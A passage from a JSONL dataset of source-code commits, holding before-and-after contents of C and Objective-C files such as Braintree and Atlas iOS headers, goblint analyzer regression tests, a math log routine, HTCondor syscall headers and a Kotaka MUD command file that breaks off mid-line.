NSTextAttachment\n\n@end\n","subject":"Add missing backticks and period in media attachment header comment.","message":"Add missing backticks and period in media attachment header comment.","lang":"C","license":"apache-2.0","repos":"InterfaceInc\/Atlas-iOS,drborges\/Atlas-iOS,allensoberano\/Atlas-iOS,fhchina\/Atlas-iOS,AlexanderMazaletskiy\/Atlas-iOS,hellosimplify\/Atlas-iOS,joshleibsly\/Atlas-iOS,grevolution\/Atlas-iOS,acarella\/Atlas-iOS,classic-chris\/Atlas-iOS,Bluefieldscom\/Atlas-iOS,xuzhenguo\/Atlas-iOS,dvan001\/Atlas-iOS,msdgwzhy6\/Atlas-iOS,mohsinalimat\/Atlas-iOS,mailyan\/Atlas-iOS,NghiaTranUIT\/Atlas-iOS,danielwmsun\/Atlas-iOS,Suninus\/Atlas-iOS,ntnmrndn\/Atlas-iOS,fishermenlabs\/Atlas-iOS,bandlab\/Atlas-iOS,dfinzer\/Atlas-iOS,misberri\/Atlas-iOS,jflinter\/Atlas-iOS,daninfpj\/Atlas-iOS,sujohn\/Atlas-iOS,jeff-riffsy\/Atlas-iOS,sunfei\/Atlas-iOS,sanvean\/Atlas-iOS,keyeMyria\/Atlas-iOS,shaohung001\/Atlas-iOS,Eynaliyev\/Atlas-iOS,jianwoo\/Atlas-iOS,sidewire\/Atlas-iOS,ccrazy88\/Atlas-iOS,leopardpan\/Atlas-iOS,nKey\/Atlas-iOS,charlespsdowd\/Atlas-iOS,linearregression\/Atlas-iOS,venturehacks\/Atlas-iOS,bright\/Atlas-iOS,BearchInc\/Atlas-iOS,Cambly\/Atlas-iOS,geoffmacd\/Atlas-iOS,andrewcopp\/Atlas-iOS,r0ct0-tecsynt\/Atlas-iOS,jaderfeijo\/Atlas-iOS"}
{"commit":"648778df9610e63104914c7fd9a59a07c3016fe4","old_file":"BraintreeCore\/BTAPIClient_Internal.h","new_file":"BraintreeCore\/BTAPIClient_Internal.h","old_contents":"#import \"BTAnalyticsService.h\"\n#import \"BTAPIClient.h\"\n#import \"BTClientMetadata.h\"\n#import \"BTClientToken.h\"\n#import \"BTHTTP.h\"\n#import \"BTJSON.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@class BTPaymentMethodNonce;\n\n@interface BTAPIClient ()\n\n@property (nonatomic, copy, nullable) NSString *tokenizationKey;\n@property (nonatomic, strong, nullable) BTClientToken *clientToken;\n@property (nonatomic, strong) BTHTTP *http;\n@property (nonatomic, strong) BTHTTP *configurationHTTP;\n\n\/*!\n @brief Client metadata that is used for tracking the client session\n*\/\n@property (nonatomic, readonly, strong) BTClientMetadata *metadata;\n\n\/*!\n @brief Exposed for testing analytics\n*\/\n@property (nonatomic, strong) BTAnalyticsService *analyticsService;\n\n\/*!\n @brief Sends this event and all queued analytics events. Used by internal clients.\n*\/\n- (void)sendAnalyticsEvent:(NSString *)eventName;\n\n\/*!\n @brief Queues an analytics event to be sent.\n *\/\n- (void)queueAnalyticsEvent:(NSString *)eventName;\n\n\/*!\n @brief An internal initializer to toggle whether to send an analytics event during initialization.\n @discussion This prevents copyWithSource:integration: from sending a duplicate event. It can also be used to suppress excessive network chatter during testing.\n*\/\n\n- (nullable instancetype)initWithAuthorization:(NSString *)authorization sendAnalyticsEvent:(BOOL)sendAnalyticsEvent;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"#import \"BTAnalyticsService.h\"\n#import \"BTAPIClient.h\"\n#import \"BTClientMetadata.h\"\n#import \"BTClientToken.h\"\n#import \"BTHTTP.h\"\n#import \"BTJSON.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@class BTPaymentMethodNonce;\n\n@interface BTAPIClient ()\n\n@property (nonatomic, copy, nullable) NSString *tokenizationKey;\n@property (nonatomic, strong, nullable) BTClientToken *clientToken;\n@property (nonatomic, strong) BTHTTP *http;\n@property (nonatomic, strong) BTHTTP *configurationHTTP;\n\n\/*!\n @brief Client metadata that is used for tracking the client session\n*\/\n@property (nonatomic, readonly, strong) BTClientMetadata *metadata;\n\n\/*!\n @brief Exposed for testing analytics\n*\/\n@property (nonatomic, strong) BTAnalyticsService *analyticsService;\n\n\/*!\n @brief Sends this event and all queued analytics events. Use `queueAnalyticsEvent` for low priority events.\n*\/\n- (void)sendAnalyticsEvent:(NSString *)eventName;\n\n\/*!\n @brief Queues an analytics event to be sent.\n *\/\n- (void)queueAnalyticsEvent:(NSString *)eventName;\n\n\/*!\n @brief An internal initializer to toggle whether to send an analytics event during initialization.\n @discussion This prevents copyWithSource:integration: from sending a duplicate event. It can also be used to suppress excessive network chatter during testing.\n*\/\n\n- (nullable instancetype)initWithAuthorization:(NSString *)authorization sendAnalyticsEvent:(BOOL)sendAnalyticsEvent;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Update header documentation for BTAPIClient-Internal","message":"Update header documentation for BTAPIClient-Internal\n","lang":"C","license":"mit","repos":"braintree\/braintree_ios,apascual\/braintree_ios,billCTG\/braintree_ios,apascual\/braintree_ios,braintree\/braintree_ios,billCTG\/braintree_ios,billCTG\/braintree_ios,billCTG\/braintree_ios,braintree\/braintree_ios,apascual\/braintree_ios,apascual\/braintree_ios,braintree\/braintree_ios,billCTG\/braintree_ios"}
{"commit":"1bd3551a0fbd8bc375a9bb7a60d8152ff641f3f9","old_file":"tests\/regression\/36-apron\/01-octagon_simple.c","new_file":"tests\/regression\/36-apron\/01-octagon_simple.c","old_contents":"\/\/ SKIP PARAM: --set solver td3 --enable ana.int.interval  --set ana.base.arrays.domain partitioned  --set ana.activated \"['base','threadid','threadflag','expRelation','mallocWrapper','apron']\" --set ana.base.privatization none --set ana.apron.privatization dummy\n\/\/ Example from https:\/\/www-apr.lip6.fr\/~mine\/publi\/article-mine-HOSC06.pdf\nvoid main(void) {\n  int X = 0;\n  int N = rand();\n  if(N < 0) { N = 0; }\n\n  while(X < N) {\n    X++;\n  }\n\n  assert(X-N == 0);\n  assert(X == N);\n\n  if(X == N) {\n    N = 8;\n  } else {\n    \/\/ is dead code but if that is detected or not depends on what we do in branch\n    \/\/ currently we can't detect this\n    N = 42;\n  }\n}\n","new_contents":"\/\/ SKIP PARAM: --set solver td3 --enable ana.int.interval  --set ana.base.arrays.domain partitioned  --set ana.activated \"['base','threadid','threadflag','expRelation','mallocWrapper','apron']\" --set ana.base.privatization none --set ana.apron.privatization dummy\n\/\/ Example from https:\/\/www-apr.lip6.fr\/~mine\/publi\/article-mine-HOSC06.pdf\nvoid main(void) {\n  int X = 0;\n  int N = rand();\n  if(N < 0) { N = 0; }\n\n  while(X < N) {\n    X++;\n  }\n\n  assert(X-N == 0);\n  assert(X == N);\n\n  if(X == N) {\n    N = 8;\n  } else {\n    \/\/ dead code\n    N = 42;\n  }\n\n  assert(N == 8);\n}\n","subject":"Make assert in 36\/01 stronger","message":"Make assert in 36\/01 stronger\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"d922310020e7b97741a5f7e45e84c9ff840514fc","old_file":"Code\/CDAUtilities.h","new_file":"Code\/CDAUtilities.h","old_contents":"\/\/\n\/\/  CDAUtilities.h\n\/\/  ContentfulSDK\n\/\/\n\/\/  Created by Boris Bügling on 04\/03\/14.\n\/\/\n\/\/\n\n#import <ContentfulDeliveryAPI\/CDAClient.h>\n#import <Foundation\/Foundation.h>\n\nNSString* CDACacheFileNameForQuery(CDAClient* client, CDAResourceType resourceType, NSDictionary* query);\nNSString* CDACacheFileNameForResource(CDAResource* resource);\nNSArray* CDAClassGetSubclasses(Class parentClass);\nvoid CDADecodeObjectWithCoder(id object, NSCoder* aDecoder);\nvoid CDAEncodeObjectWithCoder(id object, NSCoder* aCoder);\nBOOL CDAIsNoNetworkError(NSError* error);\n","new_contents":"\/\/\n\/\/  CDAUtilities.h\n\/\/  ContentfulSDK\n\/\/\n\/\/  Created by Boris Bügling on 04\/03\/14.\n\/\/\n\/\/\n\n#import <ContentfulDeliveryAPI\/CDAClient.h>\n#import <Foundation\/Foundation.h>\n\nNSString* CDACacheDirectory();\nNSString* CDACacheFileNameForQuery(CDAClient* client, CDAResourceType resourceType, NSDictionary* query);\nNSString* CDACacheFileNameForResource(CDAResource* resource);\nNSArray* CDAClassGetSubclasses(Class parentClass);\nvoid CDADecodeObjectWithCoder(id object, NSCoder* aDecoder);\nvoid CDAEncodeObjectWithCoder(id object, NSCoder* aCoder);\nBOOL CDAIsNoNetworkError(NSError* error);\n","subject":"Make the cache directory accessor public.","message":"Make the cache directory accessor public.\n","lang":"C","license":"mit","repos":"contentful\/contentful.objc,contentful\/contentful.objc,davidmdavis\/contentful.objc,davidmdavis\/contentful.objc,akfreas\/contentful.objc,contentful\/contentful.objc,danieleggert\/contentful.objc,danieleggert\/contentful.objc,akfreas\/contentful.objc,danieleggert\/contentful.objc,akfreas\/contentful.objc,davidmdavis\/contentful.objc"}
{"commit":"6fac7a106ada5c1428a629d9ef418f0482c01001","old_file":"PHYKit\/PHYKit\/PHYGeometry.h","new_file":"PHYKit\/PHYKit\/PHYGeometry.h","old_contents":"\/\/\n\/\/  PHYGeometry.h\n\/\/  PHYKit\n\/\/\n\/\/  Created by Nora Trapp on 8\/1\/13.\n\/\/  Copyright (c) 2013 Nora Trapp. All rights reserved.\n\/\/\n\n#import <Box2D\/Common\/b2Math.h>\n\n#define kPointsToMeterRatio     (32)\n\n#define PointsToMeters(points)  (points \/ kPointsToMeterRatio)\n#define MetersToPoints(meters)  (meters * kPointsToMeterRatio)\n#define CGPointTob2Vec2(point)  (b2Vec2(PointsToMeters(point.x), PointsToMeters(point.y)))\n#define b2Vec2ToCGPoint(vector) (CGPointMake(MetersToPoints(vector.x), MetersToPoints(vector.y)))\n","new_contents":"\/\/\n\/\/  PHYGeometry.h\n\/\/  PHYKit\n\/\/\n\/\/  Created by Nora Trapp on 8\/1\/13.\n\/\/  Copyright (c) 2013 Nora Trapp. All rights reserved.\n\/\/\n\n#import <Box2D\/Common\/b2Math.h>\n\n#define kPointsToMeterRatio     (32.0)\n\n#define PointsToMeters(points)  (points \/ kPointsToMeterRatio)\n#define MetersToPoints(meters)  (meters * kPointsToMeterRatio)\n#define CGPointTob2Vec2(point)  (b2Vec2(PointsToMeters(point.x), PointsToMeters(point.y)))\n#define b2Vec2ToCGPoint(vector) (CGPointMake(MetersToPoints(vector.x), MetersToPoints(vector.y)))\n","subject":"Change PointsToMeters ratio to a float, so we doing floating point math","message":"Change PointsToMeters ratio to a float, so we doing floating point math\n","lang":"C","license":"mit","repos":"Imperiopolis\/PHYKit"}
{"commit":"a5f1eb8cfa251cd56957cdbc434322f1a5406ee2","old_file":"src\/math\/double\/log.c","new_file":"src\/math\/double\/log.c","old_contents":"#include \"kernel\/log.h\"\n#include \"normalize.h\"\n#include \"..\/reinterpret.h\"\n#include <math.h>\n\nstatic double _finite(int64_t i)\n{\n    const double ln2[] = { 0x1.62e42fefa4p-1, -0x1.8432a1b0e2634p-43 };\n\n    int64_t exponent = (i - 0x3FE6A09E667F3BCD) >> 52;\n    double x = reinterpret(double, i - (exponent << 52)) - 1;\n    double z = x \/ (x + 2);\n    double h = 0.5 * x * x;\n\n    return z * (h + _kernel_log(z)) + exponent * ln2[1] - h + x + exponent * ln2[0];\n}\n\ndouble log(double x)\n{\n    int64_t i = reinterpret(int64_t, x);\n\n    if (i <= 0)\n        return i << 1 == 0 ? -INFINITY : NAN;\n\n    if (i < 0x7FF0000000000000)\n        return _finite(_normalize(i));\n\n    return x;\n}\n","new_contents":"#include \"kernel\/log.h\"\n#include \"normalize.h\"\n#include \"..\/reinterpret.h\"\n#include <math.h>\n\nstatic double _finite(int64_t i)\n{\n    const double ln2[] = { 0x1.62e42fefa4p-1, -0x1.8432a1b0e2634p-43 };\n\n    int64_t exponent = (i - 0x3FE6A09E667F3BCD) >> 52;\n    double x = reinterpret(double, i - (exponent << 52)) - 1;\n    double z = x \/ (x + 2);\n    double h = 0.5 * x * x;\n\n    return exponent * ln2[1] + z * (h + _kernel_log(z)) - h + x + exponent * ln2[0];\n}\n\ndouble log(double x)\n{\n    int64_t i = reinterpret(int64_t, x);\n\n    if (i <= 0)\n        return i << 1 == 0 ? -INFINITY : NAN;\n\n    if (i < 0x7FF0000000000000)\n        return _finite(_normalize(i));\n\n    return x;\n}\n","subject":"Reorder terms by expected size, though this does not affect calculation","message":"Reorder terms by expected size, though this does not affect calculation\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"be41c270b9b111574aabadf20d4eb77a395974ff","old_file":"tests\/regression\/34-localwn_restart\/21-restart_abort_aget.c","new_file":"tests\/regression\/34-localwn_restart\/21-restart_abort_aget.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --enable exp.solver.td3.restart.wpoint.enabled --enable exp.solver.td3.abort\n\n#include<stdlib.h>\nstruct a {\n  int b;\n} c(), *f;\n\nint g;\nvoid d();\nvoid e();\n\nint main() {\n  void *h = calloc(1, sizeof(struct a));\n  f = h;\n  d(e);\n  while (1) {\n    g = c;\n    if (c)\n      break;\n    f->b = 0;\n  }\n  d(h);\n}","subject":"Add minimized test where abort fails.","message":"Add minimized test where abort fails.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"903787a5941c9eabcbfe597ee4d80843dc9c586f","old_file":"src\/modules\/conf_randr\/e_smart_monitor.h","new_file":"src\/modules\/conf_randr\/e_smart_monitor.h","old_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_MONITOR_H\n#  define E_SMART_MONITOR_H\n\nEvas_Object *e_smart_monitor_add(Evas *evas);\nvoid e_smart_monitor_crtc_set(Evas_Object *obj, Ecore_X_Randr_Crtc crtc, Evas_Coord cx, Evas_Coord cy, Evas_Coord cw, Evas_Coord ch);\nvoid e_smart_monitor_output_set(Evas_Object *obj, Ecore_X_Randr_Output output);\nvoid e_smart_monitor_grid_set(Evas_Object *obj, Evas_Object *grid);\nvoid e_smart_monitor_background_set(Evas_Object *obj, Evas_Coord dx, Evas_Coord dy);\n\n# endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_MONITOR_H\n#  define E_SMART_MONITOR_H\n\nEvas_Object *e_smart_monitor_add(Evas *evas);\nvoid e_smart_monitor_crtc_set(Evas_Object *obj, Ecore_X_Randr_Crtc crtc, Evas_Coord cx, Evas_Coord cy, Evas_Coord cw, Evas_Coord ch);\nvoid e_smart_monitor_output_set(Evas_Object *obj, Ecore_X_Randr_Output output);\nvoid e_smart_monitor_grid_set(Evas_Object *obj, Evas_Object *grid, Evas_Coord gx, Evas_Coord gy, Evas_Coord gw, Evas_Coord gh);\nvoid e_smart_monitor_virtual_size_set(Evas_Object *obj, Evas_Coord vw, Evas_Coord vh);\nvoid e_smart_monitor_background_set(Evas_Object *obj, Evas_Coord dx, Evas_Coord dy);\n\n# endif\n#endif\n","subject":"Change monitor_grid_set function to also accept the grid geometry (used for virtual-->canvas coordinate functions).","message":"Change monitor_grid_set function to also accept the grid geometry\n(used for virtual-->canvas coordinate functions).\n\nSigned-off-by: Christopher Michael <cp.michael@samsung.com>\n\nSVN revision: 84169\n","lang":"C","license":"bsd-2-clause","repos":"tasn\/enlightenment,rvandegrift\/e,FlorentRevest\/Enlightenment,rvandegrift\/e,rvandegrift\/e,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment"}
{"commit":"e65030e7639fd0e21789ed18855b36720cdba09d","old_file":"samples\/fx_lpng\/include\/fx_png.h","new_file":"samples\/fx_lpng\/include\/fx_png.h","old_contents":"\/\/ Copyright 2014 PDFium Authors. All rights reserved.\r\n\/\/ Use of this source code is governed by a BSD-style license that can be\r\n\/\/ found in the LICENSE file.\r\n\r\n\/\/ Original code copyright 2014 Foxit Software Inc. http:\/\/www.foxitsoftware.com\r\n\r\n#include \"..\/lpng_v163\/png.h\"\r\n","new_contents":"\/\/ Copyright 2014 PDFium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Original code copyright 2014 Foxit Software Inc. http:\/\/www.foxitsoftware.com\n\n#include \"..\/lpng_v163\/png.h\"\n","subject":"Convert all files on the master branch to unix line endings.","message":"Convert all files on the master branch to unix line endings.\n\nLuckily, it's just one file.\n\nBUG=none\nR=tsepez@chromium.org\n\nReview URL: https:\/\/codereview.chromium.org\/1281923004 .\n","lang":"C","license":"bsd-3-clause","repos":"was4444\/pdfium,DrAlexx\/pdfium,azunite\/libpdfium,andoma\/pdfium,andoma\/pdfium,was4444\/pdfium,DrAlexx\/pdfium,azunite\/libpdfium,was4444\/pdfium,DrAlexx\/pdfium,was4444\/pdfium,andoma\/pdfium,andoma\/pdfium,azunite\/libpdfium,DrAlexx\/pdfium,azunite\/libpdfium"}
{"commit":"7d2c8d0aed20b6d2b02c7bd79aed173664742a6e","old_file":"src\/condor_ckpt\/condor_syscalls.h","new_file":"src\/condor_ckpt\/condor_syscalls.h","old_contents":"#ifndef _CONDOR_SYSCALLS_H\n#define _CONDOR_SYSCALLS_H\n\n#if defined( AIX32)\n#\tinclude \"syscall.aix32.h\"\n#else\n#\tinclude <syscall.h>\n#endif\n\n\ntypedef int BOOL;\n\nstatic const int \tSYS_LOCAL = 1;\nstatic const int \tSYS_REMOTE = 0;\nstatic const int\tSYS_RECORDED = 2;\nstatic const int\tSYS_MAPPED = 2;\n\nstatic const int\tSYS_UNRECORDED = 0;\nstatic const int\tSYS_UNMAPPED = 0;\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nint SetSyscalls( int mode );\nint GetSyscallMode();\nBOOL LocalSysCalls();\nBOOL RemoteSysCalls();\nBOOL MappingFileDescriptors();\nint REMOTE_syscall( int syscall_num, ... );\n\n#if defined(OSF1) || defined(HPUX9)\n\tint syscall( int, ... );\n#endif\n\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","new_contents":"#ifndef _CONDOR_SYSCALLS_H\n#define _CONDOR_SYSCALLS_H\n\n#if defined( AIX32)\n#\tinclude \"syscall.aix32.h\"\n#else\n#\tinclude <syscall.h>\n#endif\n\n\ntypedef int BOOL;\n\nstatic const int \tSYS_LOCAL = 1;\nstatic const int \tSYS_REMOTE = 0;\nstatic const int\tSYS_RECORDED = 2;\nstatic const int\tSYS_MAPPED = 2;\n\nstatic const int\tSYS_UNRECORDED = 0;\nstatic const int\tSYS_UNMAPPED = 0;\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nint SetSyscalls( int mode );\nint GetSyscallMode();\nBOOL LocalSysCalls();\nBOOL RemoteSysCalls();\nBOOL MappingFileDescriptors();\nint REMOTE_syscall( int syscall_num, ... );\n\n#if defined(OSF1) || defined(HPUX9) || defined(SUNOS41)\n\tint syscall( int, ... );\n#endif\n\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","subject":"Add SUNOS41 to an existing conditional compilation directive.","message":"Add SUNOS41 to an existing conditional compilation directive.\n","lang":"C","license":"apache-2.0","repos":"mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,djw8605\/condor,djw8605\/condor,htcondor\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,djw8605\/condor,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/condor,djw8605\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco"}
{"commit":"295b8c8f866469181703c4c2e882dc6af955e9c7","old_file":"K2Status-static-ImportExport\/include\/k2info.h","new_file":"K2Status-static-ImportExport\/include\/k2info.h","old_contents":"#include \"k2pktdef.h\"\n\n#define\tTRACE2_STA_LEN\t7\n#define\tTRACE2_CHAN_LEN\t9  \/* 4 bytes plus padding for loc and version *\/\n#define\tTRACE2_NET_LEN\t9\n#define TRACE2_LOC_LEN   3\n\n#define K2INFO_TYPE_STRING \"TYPE_K2INFO_PACKET\"\n\ntypedef struct {\n    char    net[TRACE2_NET_LEN];     \/* Network name *\/\n    char    sta[TRACE2_STA_LEN];     \/* Site name *\/\n    qint16  \tdata_type;\t\t\/* see K2INFO_TYPE #defines below *\/\n    quint32\tepoch_sent;\t\/* local time sent *\/\n    quint16  reserved[5];\t\t\/* reserved for future use *\/\n} K2INFO_HEADER;\n\n#define K2INFO_TYPE_HEADER    1\t\t\/* k2 header params *\/\n#define K2INFO_TYPE_STATUS    2\t\t\/* k2 regular status packet *\/\n#define K2INFO_TYPE_ESTATUS   3\t\t\/* k2 extended status packet (old) *\/\n#define K2INFO_TYPE_E2STATUS  4\t\t\/* k2 extended status packet v2 *\/\n#define K2INFO_TYPE_COMM      5\t\t\/* k2ew packet processing stats *\/\n\n#define MAX_K2INFOBUF_SIZ 4096\n\ntypedef union {\n    qint8    msg[MAX_K2INFOBUF_SIZ];\n\tK2INFO_HEADER k2info;\n} K2infoPacket;  \n\n","new_contents":"#include \"k2pktdef.h\"\n\n#define\tTRACE2_STA_LEN\t7\n#define\tTRACE2_CHAN_LEN\t9  \/* 4 bytes plus padding for loc and version *\/\n#define\tTRACE2_NET_LEN\t9\n#define TRACE2_LOC_LEN   3\n#define K2_TIME_CONV ((unsigned long)315532800)\n\n#define K2INFO_TYPE_STRING \"TYPE_K2INFO_PACKET\"\n\ntypedef struct {\n    char    net[TRACE2_NET_LEN];     \/* Network name *\/\n    char    sta[TRACE2_STA_LEN];     \/* Site name *\/\n    qint16  \tdata_type;\t\t\/* see K2INFO_TYPE #defines below *\/\n    quint32\tepoch_sent;\t\/* local time sent *\/\n    quint16  reserved[5];\t\t\/* reserved for future use *\/\n} K2INFO_HEADER;\n\n#define K2INFO_TYPE_HEADER    1\t\t\/* k2 header params *\/\n#define K2INFO_TYPE_STATUS    2\t\t\/* k2 regular status packet *\/\n#define K2INFO_TYPE_ESTATUS   3\t\t\/* k2 extended status packet (old) *\/\n#define K2INFO_TYPE_E2STATUS  4\t\t\/* k2 extended status packet v2 *\/\n#define K2INFO_TYPE_COMM      5\t\t\/* k2ew packet processing stats *\/\n\n#define MAX_K2INFOBUF_SIZ 4096\n\ntypedef union {\n    qint8    msg[MAX_K2INFOBUF_SIZ];\n\tK2INFO_HEADER k2info;\n} K2infoPacket;  \n\n","subject":"Make 64Bit Friendly, NonStatic for Ubuntu 14.04 delete unneeded files","message":"Make 64Bit Friendly, NonStatic for Ubuntu 14.04 delete unneeded files\n","lang":"C","license":"lgpl-2.1","repos":"Fran89\/K2Status,Fran89\/K2Status"}
{"commit":"ec3bd3aa0c6b507e8819d58ac5282b7f97f0be28","old_file":"libslax\/slaxprofiler.h","new_file":"libslax\/slaxprofiler.h","old_contents":"\/*\n * $Id$\n *\n * Copyright (c) 2010-2011, Juniper Networks, Inc.\n * All rights reserved.\n * This SOFTWARE is licensed under the LICENSE provided in the\n * ..\/Copyright file. By downloading, installing, copying, or otherwise\n * using the SOFTWARE, you agree to be bound by the terms of that\n * LICENSE.\n *\/\n\n\/**\n * Called from the debugger when we want to profile a script.\n *\n * @docp document pointer for the script\n * @returns TRUE is there was a problem\n *\/\nint\nslaxProfOpen (xmlDocPtr docp);\n\n\/**\n * Called when we enter a instruction.\n *\n * @docp document pointer\n * @inst instruction (slax\/xslt code) pointer\n *\/\nvoid\nslaxProfEnter (xmlNodePtr inst);\n\n\/**\n * Called when we exit an instruction\n *\/\nvoid\nslaxProfExit (void);\n\n#if 0\ntypedef int (*slaxProfCallback_t)(void *, const char *fmt, ...);\n#endif\n\n\/**\n * Report the results\n *\/\nvoid\nslaxProfReport (int);\n\n\/**\n * Clear all values\n *\/\nvoid\nslaxProfClear (void);\n\n\/**\n * Done (free resources)\n *\/\nvoid\nslaxProfClose (void);\n","new_contents":"\/*\n * Copyright (c) 2010-201e, Juniper Networks, Inc.\n * All rights reserved.\n * This SOFTWARE is licensed under the LICENSE provided in the\n * ..\/Copyright file. By downloading, installing, copying, or otherwise\n * using the SOFTWARE, you agree to be bound by the terms of that\n * LICENSE.\n *\/\n\n\/**\n * Called from the debugger when we want to profile a script.\n *\n * @docp document pointer for the script\n * @returns TRUE is there was a problem\n *\/\nint\nslaxProfOpen (xmlDocPtr docp);\n\n\/**\n * Called when we enter a instruction.\n *\n * @docp document pointer\n * @inst instruction (slax\/xslt code) pointer\n *\/\nvoid\nslaxProfEnter (xmlNodePtr inst);\n\n\/**\n * Called when we exit an instruction\n *\/\nvoid\nslaxProfExit (void);\n\n#if 0\ntypedef int (*slaxProfCallback_t)(void *, const char *fmt, ...);\n#endif\n\n\/**\n * Report the results\n *\/\nvoid\nslaxProfReport (int);\n\n\/**\n * Clear all values\n *\/\nvoid\nslaxProfClear (void);\n\n\/**\n * Done (free resources)\n *\/\nvoid\nslaxProfClose (void);\n","subject":"Drop $Id$ and update copyright","message":"Drop $Id$ and update copyright\n","lang":"C","license":"bsd-3-clause","repos":"Juniper\/libslax,Juniper\/libslax,Juniper\/libslax"}
{"commit":"5fd3d4cdd83c079b2f588380622b2b3348a67360","old_file":"src\/IDPDataKit.h","new_file":"src\/IDPDataKit.h","old_contents":"#import \"IDPBlock.h\"\n#import \"IDPBufferArray.h\"\n#import \"IDPKVOContext.h\"\n#import \"IDPKVOMutableArray.h\"\n#import \"IDPKeyPathObserver.h\"\n#import \"IDPMachTimer.h\"\n#import \"IDPMutableArray.h\"\n#import \"IDPMutableDictionary.h\"\n#import \"IDPOCContext.h\"\n#import \"IDPOCImplementation.h\"\n#import \"IDPOCStack.h\"\n#import \"NSObject+IDPOCExtensionsPrivate.h\"\n#import \"IDPReference.h\"\n#import \"IDPRetainingReference.h\"\n#import \"IDPWeakReference.h\"\n#import \"IDPRetainingDictionary.h\"\n#import \"IDPStackArray.h\"\n#import \"IDPURLConnection.h\"\n#import \"IDPURLRequest.h\"\n#import \"IDPWeakArray.h\"\n","new_contents":"#import \"IDPBlock.h\"\n#import \"IDPBufferArray.h\"\n#import \"IDPKVOContext.h\"\n#import \"IDPKVOMutableArray.h\"\n#import \"IDPKeyPathObserver.h\"\n#import \"IDPMachTimer.h\"\n#import \"IDPMutableArray.h\"\n#import \"IDPMutableDictionary.h\"\n#import \"IDPOCContext.h\"\n#import \"IDPOCImplementation.h\"\n#import \"IDPOCStack.h\"\n#import \"NSObject+IDPOCExtensionsPrivate.h\"\n#import \"IDPReference.h\"\n#import \"IDPRetainingReference.h\"\n#import \"IDPWeakReference.h\"\n#import \"IDPRetainingDictionary.h\"\n#import \"IDPStackArray.h\"\n#import \"IDPURLConnection.h\"\n#import \"IDPURLRequest.h\"\n#import \"IDPWeakArray.h\"\n#import \"IDPSingletonModel.h\"\n","subject":"Add to header file IDPSingletonModel.","message":"Add to header file IDPSingletonModel.\n","lang":"C","license":"bsd-3-clause","repos":"idapgroup\/DataKit,idapgroup\/DataKit,idapgroup\/DataKit,idapgroup\/DataKit"}
{"commit":"cc45877f2a988121937b6bc7a5a0d64a4b62d518","old_file":"testmud\/mud\/home\/Text\/sys\/bin\/wiz\/colortest.c","new_file":"testmud\/mud\/home\/Text\/sys\/bin\/wiz\/colortest.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n#include <text\/paths.h>\n\ninherit LIB_BIN;\n\nvoid main(string args)\n{\n\tobject user;\n\tobject painter;\n\tobject gc;\n\n\tint x, y, b;\n\n\tuser = query_user();\n\n\tpainter = new_object(LWO_PAINTER);\n\tpainter->set_size(16, 8);\n\tgc = painter->create_gc();\n\tgc->set_clip(0, 0, 15, 